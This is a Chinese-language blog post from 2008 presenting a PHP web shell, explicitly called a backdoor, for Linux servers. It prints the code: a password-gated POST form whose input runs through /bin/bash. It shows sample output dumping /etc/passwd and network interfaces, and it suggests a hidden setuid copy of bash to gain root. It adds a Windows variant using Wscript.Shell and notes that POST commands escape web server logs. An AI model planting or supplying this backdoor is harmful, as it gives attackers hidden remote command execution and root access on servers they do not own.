Linux下基于php的shell页面--php后门
时间:2008-08-21 来源:dorainm
在类UNIX操作系统服务器,比如UNIX、GNU/Linux、BSD等,php有`command`(键盘中,数字键1前面的按键)功能,即来实现shell语句的执行。
该 php的 shell页面也是,利用 POST提交要执行的 shell语句(POST数据,在apache等 Web Server的日志中将不被记录),用`/bin/bash -c $shell`来执行shell,然后返回运行结果。
程序中,还加入了session的判断,来验证和限制当前使用者。
程序开头定义了正确的账户密码,为
$c_username = 'dorainm';
$c_password = '[email protected]';
session_check 函数是用于检测 session的。
function session_check()
{
global $c_username;
global $c_password;
if( $_SESSION['username']==$c_username &&
$_SESSION['password']==$c_password )
{
return true;
}
else
{
return false;
}
}
当判断 session不正确,那么程序将销毁 session,返回登陆验证页面,session_distory函数实现session的销毁的。
function session_distory()
{
$_SESSION = array();
session_unset();
session_destroy();
}
好,session验证就介绍到这里,看shell提交页面的代码。
form method="POST">
command: input class="txt" name="cmd" value=""> input class="btn" type="submit" value="run">
/form>
然后程序通过POST捕捉提交的语句,然后执行,反馈
if( isset( $_POST['cmd'] ) )
{
$cmd = $_POST['cmd'];
$cmd = strip_tags($cmd);
$cmd = trim($cmd);
//$cmd = htmlspecialchars($cmd);
$cmd = addslashes($cmd);
}
... ...
if( $cmd )
{
$result = `$shell -c "$cmd"`;
if( $result )
{
echo "";
echo $result;
echo "";
}
}
下面是运行效果
command:
apache
提权功能大家自己想,比如复制了一个u+s的 shell叫做 /bin/.bash,我们可以让程序以`/bin/.bash -c $shell`来运行,就有 root权限了。
再看 /etc/passwd。
command:
root:x:0:0:root:/root:/bin/bash
dorainm:x:1000:1000::/home/dorainm:/bin/bash
vsftpd:x:47:47::/mnt/vsftp:/bin/false
mysql:x:80:80::/usr/local/mysql/var/mysql:/bin/false
apache:x:50:50::/var/www/htdocs:/bin/false
lfs系统,很少的用户,嘻嘻~
再看看网络情况
command:
eth0 Link encap:Ethernet HWaddr 00:04:61:5C:E6:2D
inet addr:10.0.1.44 Bcast:10.0.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:13829844 errors:0 dropped:0 overruns:0 frame:0
TX packets:12775238 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1863075495 (1776.7 Mb) TX bytes:632811433 (603.4 Mb)
Interrupt:16 Base address:0xa000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:2990 errors:0 dropped:0 overruns:0 frame:0
TX packets:2990 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1148263 (1.0 Mb) TX bytes:1148263 (1.0 Mb)
vmnet1 Link encap:Ethernet HWaddr 00:50:56:C0:00:01
inet addr:192.168.152.1 Bcast:192.168.152.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
vmnet8 Link encap:Ethernet HWaddr 00:50:56:C0:00:08
inet addr:172.16.144.1 Bcast:172.16.144.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
下面是源代码
文件:shell.php.tar.gz
大小:1KB
下载:
下载
ps:
如果是win32操作系统的服务器,可以用wscript来运行命令,喜欢的自己添加进去吧
?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$shell."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo "".$stroutput."".;
?>
相关阅读 更多 +